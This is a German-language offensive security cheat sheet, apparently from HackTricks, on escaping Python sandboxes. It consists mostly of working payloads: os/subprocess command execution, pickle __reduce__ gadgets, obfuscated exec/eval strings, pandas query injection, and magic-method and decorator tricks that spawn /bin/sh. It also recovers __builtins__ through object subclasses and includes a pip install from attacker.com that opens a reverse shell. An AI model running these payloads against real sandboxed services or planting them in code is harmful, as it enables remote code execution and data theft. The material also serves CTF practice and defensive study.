# Bypass Python sandboxes {{#include ../../../banners/hacktricks-training.md}} Dies sind einige Tricks, um die Schutzmaßnahmen von Python-Sandboxes zu umgehen und beliebige Befehle auszuführen. ## Command Execution Libraries Das erste, was Sie wissen müssen, ist, ob Sie Code direkt mit einer bereits importierten Bibliothek ausführen können oder ob Sie eine dieser Bibliotheken importieren könnten: ```python os.system("ls") os.popen("ls").read() commands.getstatusoutput("ls") commands.getoutput("ls") commands.getstatus("file/path") subprocess.call("ls", shell=True) subprocess.Popen("ls", shell=True) pty.spawn("ls") pty.spawn("/bin/bash") platform.os.system("ls") pdb.os.system("ls") #Import functions to execute commands importlib.import_module("os").system("ls") importlib.__import__("os").system("ls") imp.load_source("os","/usr/lib/python3.8/os.py").system("ls") imp.os.system("ls") imp.sys.modules["os"].system("ls") sys.modules["os"].system("ls") __import__("os").system("ls") import os from os import * #Other interesting functions open("/etc/passwd").read() open('/var/www/html/input', 'w').write('123') #In Python2.7 execfile('/usr/lib/python2.7/os.py') system('ls') ``` Denke daran, dass die _**open**_ und _**read**_ Funktionen nützlich sein können, um **Dateien** innerhalb der Python-Sandbox zu **lesen** und um **Code** zu **schreiben**, den du **ausführen** könntest, um die Sandbox zu **umgehen**. > [!CAUTION] > Die **Python2 input()** Funktion erlaubt das Ausführen von Python-Code, bevor das Programm abstürzt. Python versucht, **Bibliotheken zuerst aus dem aktuellen Verzeichnis zu laden** (der folgende Befehl zeigt an, wo Python Module lädt): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) ## Umgehen der Pickle-Sandbox mit den standardmäßig installierten Python-Paketen ### Standardpakete Du kannst eine **Liste der vorinstallierten** Pakete hier finden: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ Beachte, dass du aus einem Pickle die Python-Umgebung dazu bringen kannst, **willkürliche Bibliotheken** zu importieren, die im System installiert sind.\ Zum Beispiel wird der folgende Pickle, wenn er geladen wird, die Pip-Bibliothek importieren, um sie zu verwenden: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it #the library is going to be loaded automatically import pickle, os, base64, pip class P(object): def __reduce__(self): return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` Für weitere Informationen darüber, wie Pickle funktioniert, siehe dies: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) ### Pip-Paket Trick geteilt von **@isHaacK** Wenn Sie Zugriff auf `pip` oder `pip.main()` haben, können Sie ein beliebiges Paket installieren und eine Reverse-Shell erhalten, indem Sie Folgendes aufrufen: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` Sie können das Paket zum Erstellen der Reverse-Shell hier herunterladen. Bitte beachten Sie, dass Sie es **dekomprimieren, die `setup.py` ändern und Ihre IP für die Reverse-Shell einfügen** sollten: {{#file}} Reverse.tar (1).gz {{#endfile}} > [!NOTE] > Dieses Paket heißt `Reverse`. Es wurde jedoch speziell erstellt, damit der Rest der Installation fehlschlägt, wenn Sie die Reverse-Shell verlassen, sodass Sie **keine zusätzlichen Python-Pakete auf dem Server installiert lassen**, wenn Sie gehen. ## Eval-ing python code > [!WARNING] > Beachten Sie, dass exec mehrzeilige Strings und ";" erlaubt, eval jedoch nicht (überprüfen Sie den Walross-Operator). Wenn bestimmte Zeichen verboten sind, können Sie die **hex/octal/B64** Darstellung verwenden, um die Einschränkung zu **umgehen**: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" eval("__import__('os').system('ls')") #Eval doesn't allow ";" eval(compile('print("hello world"); print("heyy")', '', 'exec')) #This way eval accept ";" __import__('timeit').timeit("__import__('os').system('ls')",number=1) #One liners that allow new lines and tabs eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '', 'exec')) exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '', 'exec')) ``` ```python #Octal exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51") #Hex exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29") #Base64 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` ### Andere Bibliotheken, die die Ausführung von Python-Code ermöglichen ```python #Pandas import pandas as pd df = pd.read_csv("currency-rates.csv") df.query('@__builtins__.__import__("os").system("ls")') df.query("@pd.io.common.os.popen('ls').read()") df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # The previous options work but others you might try give the error: # Only named functions are supported # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` ## Operatoren und kurze Tricks ```python # walrus operator allows generating variable inside a list ## everything will be executed in order ## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/ [a:=21,a*2] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` ## Umgehung von Schutzmaßnahmen durch Kodierungen (UTF-7) In [**diesem Bericht**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) wird UTF-7 verwendet, um beliebigen Python-Code innerhalb einer scheinbaren Sandbox zu laden und auszuführen: ```python assert b"+AAo-".decode("utf_7") == "\n" payload = """ # -*- coding: utf_7 -*- def f(x): return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` Es ist auch möglich, es mit anderen Kodierungen zu umgehen, z.B. `raw_unicode_escape` und `unicode_escape`. ## Python-Ausführung ohne Aufrufe Wenn Sie sich in einem Python-Gefängnis befinden, das **keine Aufrufe zulässt**, gibt es dennoch einige Möglichkeiten, **willkürliche Funktionen, Code** und **Befehle** **auszuführen**. ### RCE mit [decorators](https://docs.python.org/3/glossary.html#term-decorator) ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @input class X: pass # The previous code is equivalent to: class X: pass X = input(X) X = exec(X) # So just send your python code when prompted and it will be executed # Another approach without calling input: @eval @'__import__("os").system("sh")'.format class _:pass ``` ### RCE Objekte erstellen und Überladen Wenn Sie eine **Klasse deklarieren** und ein **Objekt** dieser Klasse **erstellen** können, könnten Sie **verschiedene Methoden schreiben/überschreiben**, die **ausgelöst** werden können, **ohne** sie **direkt aufzurufen**. #### RCE mit benutzerdefinierten Klassen Sie können einige **Klassenmethoden** (_indem Sie vorhandene Klassenmethoden überschreiben oder eine neue Klasse erstellen_) ändern, um sie **beliebigen Code auszuführen** zu lassen, wenn sie **ausgelöst** werden, ohne sie direkt aufzurufen. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: def __init__(self): self += "print('Hello from __init__ + __iadd__')" __iadd__ = exec #Triggered when object is created def __del__(self): self -= "print('Hello from __del__ + __isub__')" __isub__ = exec #Triggered when object is created __getitem__ = exec #Trigerred with obj[] __add__ = exec #Triggered with obj + # These lines abuse directly the previous class to get RCE rce = RCE() #Later we will see how to create objects without calling the constructor rce["print('Hello from __getitem__')"] rce + "print('Hello from __add__')" del rce # These lines will get RCE when the program is over (exit) sys.modules["pwnd"] = RCE() exit() # Other functions to overwrite __sub__ (k - 'import os; os.system("sh")') __mul__ (k * 'import os; os.system("sh")') __floordiv__ (k // 'import os; os.system("sh")') __truediv__ (k / 'import os; os.system("sh")') __mod__ (k % 'import os; os.system("sh")') __pow__ (k**'import os; os.system("sh")') __lt__ (k < 'import os; os.system("sh")') __le__ (k <= 'import os; os.system("sh")') __eq__ (k == 'import os; os.system("sh")') __ne__ (k != 'import os; os.system("sh")') __ge__ (k >= 'import os; os.system("sh")') __gt__ (k > 'import os; os.system("sh")') __iadd__ (k += 'import os; os.system("sh")') __isub__ (k -= 'import os; os.system("sh")') __imul__ (k *= 'import os; os.system("sh")') __ifloordiv__ (k //= 'import os; os.system("sh")') __idiv__ (k /= 'import os; os.system("sh")') __itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.) __imod__ (k %= 'import os; os.system("sh")') __ipow__ (k **= 'import os; os.system("sh")') __ilshift__ (k<<= 'import os; os.system("sh")') __irshift__ (k >>= 'import os; os.system("sh")') __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")') ``` #### Objekte mit [Metaklassen](https://docs.python.org/3/reference/datamodel.html#metaclasses) erstellen Das Wichtigste, was Metaklassen uns ermöglichen, ist **eine Instanz einer Klasse zu erstellen, ohne den Konstruktor** direkt aufzurufen, indem wir eine neue Klasse mit der Zielklasse als Metaklasse erstellen. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" class Metaclass(type): __getitem__ = exec # So Sub[string] will execute exec(string) # Note: Metaclass.__class__ == type class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass pass # Nothing special to do Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` #### Erstellen von Objekten mit Ausnahmen Wenn eine **Ausnahme ausgelöst wird**, wird ein Objekt der **Exception** **erstellt**, ohne dass Sie den Konstruktor direkt aufrufen müssen (ein Trick von [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): ```python class RCE(Exception): def __init__(self): self += 'import os; os.system("sh")' __iadd__ = exec #Triggered when object is created raise RCE #Generate RCE object # RCE with __add__ overloading and try/except + raise generated object class Klecko(Exception): __add__ = exec try: raise Klecko except Klecko as k: k + 'import os; os.system("sh")' #RCE abusing __add__ ## You can also use the tricks from the previous section to get RCE with this object ``` ### Mehr RCE ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # If sys is imported, you can sys.excepthook and trigger it by triggering an error class X: def __init__(self, a, b, c): self += "os.system('sh')" __iadd__ = exec sys.excepthook = X 1/0 #Trigger it # From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py # The interpreter will try to import an apt-specific module to potentially # report an error in ubuntu-provided modules. # Therefore the __import__ functions are overwritten with our RCE class X(): def __init__(self, a, b, c, d, e): self += "print(open('flag').read())" __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` ### Datei mit builtins Hilfe & Lizenz lesen ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help a.__class__.__enter__ = __builtins__.__dict__["license"] a.__class__.__exit__ = lambda self, *args: None with (a as b): pass ``` ## Builtins - [**Builtins-Funktionen von python2**](https://docs.python.org/2/library/functions.html) - [**Builtins-Funktionen von python3**](https://docs.python.org/3/library/functions.html) Wenn Sie auf das **`__builtins__`** Objekt zugreifen können, können Sie Bibliotheken importieren (beachten Sie, dass Sie hier auch eine andere Zeichenfolgenrepräsentation verwenden könnten, die im letzten Abschnitt gezeigt wurde): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` ### Keine Builtins Wenn Sie `__builtins__` nicht haben, können Sie nichts importieren und auch keine Dateien lesen oder schreiben, da **alle globalen Funktionen** (wie `open`, `import`, `print`...) **nicht geladen sind**.\ Allerdings **importiert Python standardmäßig viele Module in den Speicher**. Diese Module mögen harmlos erscheinen, aber einige von ihnen **importieren auch gefährliche** Funktionalitäten, die genutzt werden können, um sogar **willkürliche Codeausführung** zu erlangen. In den folgenden Beispielen können Sie beobachten, wie man einige dieser "**harmlosen**" Module missbrauchen kann, um **gefährliche** **Funktionalitäten** in ihnen **zuzugreifen**. **Python2** ```python #Try to reload __builtins__ reload(__builtins__) import __builtin__ # Read recovering in offset 40 ().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() # Write recovering in offset 40 ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') # Execute recovering __import__ (class 59s is ) ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls') # Execute (another method) ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls') # Execute recovering eval symbol (class 59 is ) ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')") # Or you could obtain the builtins from a defined function get_flag.__globals__['__builtins__']['__import__']("os").system("ls") ``` #### Python3 ```python # Obtain builtins from a globally defined function # https://docs.python.org/3/library/functions.html help.__call__.__builtins__ # or __globals__ license.__call__.__builtins__ # or __globals__ credits.__call__.__builtins__ # or __globals__ print.__self__ dir.__self__ globals.__self__ len.__self__ __build_class__.__self__ # Obtain the builtins from a defined function get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` [**Unten gibt es eine größere Funktion**](#recursive-search-of-builtins-globals), um Dutzende/**Hunderte** von **Orten** zu finden, an denen Sie die **builtins** finden können. #### Python2 und Python3 ```python # Recover __builtins__ and make everything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls') ``` ### Eingebaute Payloads ```python # Possible payloads once you have found the builtins __builtins__["open"]("/etc/passwd").read() __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` ## Globals und Locals Das Überprüfen der **`globals`** und **`locals`** ist eine gute Möglichkeit, um zu wissen, auf was Sie zugreifen können. ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } >>> locals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } # Obtain globals from a defined function get_flag.__globals__ # Obtain globals from an object of a class class_obj.__init__.__globals__ # Obtaining globals directly from loaded classes [ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ] [] # Obtaining globals from __init__ of loaded classes [ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] # Without the use of the dir() function [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` [**Unten gibt es eine größere Funktion**](#recursive-search-of-builtins-globals), um Dutzende/**Hunderte** von **Orten** zu finden, an denen Sie die **globals** finden können. ## Entdeckung arbiträrer Ausführung Hier möchte ich erklären, wie man leicht **gefährlichere Funktionen** entdecken kann, die geladen sind, und zuverlässigere Exploits vorschlagen. #### Zugriff auf Unterklassen mit Bypässen Einer der sensibelsten Teile dieser Technik ist der Zugriff auf die **Basisunterklassen**. In den vorherigen Beispielen wurde dies mit `''.__class__.__base__.__subclasses__()` erreicht, aber es gibt **andere mögliche Wege**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() [].__class__.__base__.__subclasses__() {}.__class__.__base__.__subclasses__() ().__class__.__base__.__subclasses__() (1).__class__.__base__.__subclasses__() bool.__class__.__base__.__subclasses__() print.__class__.__base__.__subclasses__() open.__class__.__base__.__subclasses__() defined_func.__class__.__base__.__subclasses__() #You can also access it without "__base__" or "__class__" # You can apply the previous technique also here "".__class__.__bases__[0].__subclasses__() "".__class__.__mro__[1].__subclasses__() "".__getattribute__("__class__").mro()[1].__subclasses__() "".__getattribute__("__class__").__base__.__subclasses__() # This can be useful in case it is not possible to make calls (therefore using decorators) ().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec #If attr is present you can access everything as a string # This is common in Django (and Jinja) environments (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` ### Gefährliche geladene Bibliotheken finden Zum Beispiel, wenn man weiß, dass man mit der Bibliothek **`sys`** **willkürliche Bibliotheken importieren** kann, kann man nach allen **Modulen suchen, die sys importiert haben**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` Es gibt viele, und **wir brauchen nur einen**, um Befehle auszuführen: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` Wir können dasselbe mit **anderen Bibliotheken** tun, von denen wir wissen, dass sie verwendet werden können, um **Befehle auszuführen**: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls') #subprocess [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls") [ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls') [ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls') #builtins [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ] [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls") #sys [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls") #commands (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls") #pty (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls") #importlib [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls") #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` Darüber hinaus könnten wir sogar nachsehen, welche Module bösartige Bibliotheken laden: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ] print(f"{b}: {', '.join(vuln_libs)}") """ os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations commands: subprocess: BaseDependency, Origin, Version, Package pty: importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature pdb: """ ``` Darüber hinaus, wenn Sie denken, dass **andere Bibliotheken** möglicherweise **Funktionen aufrufen können, um Befehle auszuführen**, können wir auch **nach Funktionsnamen** innerhalb der möglichen Bibliotheken **filtern**: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] for b in bad_libraries_names + bad_func_names: vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ] print(f"{b}: {', '.join(vuln_funcs)}") """ os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations commands: subprocess: BaseDependency, Origin, Version, Package pty: importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature pip: pdb: system: _wrap_close, _wrap_close getstatusoutput: CompletedProcess, Popen getoutput: CompletedProcess, Popen call: CompletedProcess, Popen Popen: CompletedProcess, Popen spawn: import_module: __import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec load_source: NullImporter, _HackedGetData execfile: execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, 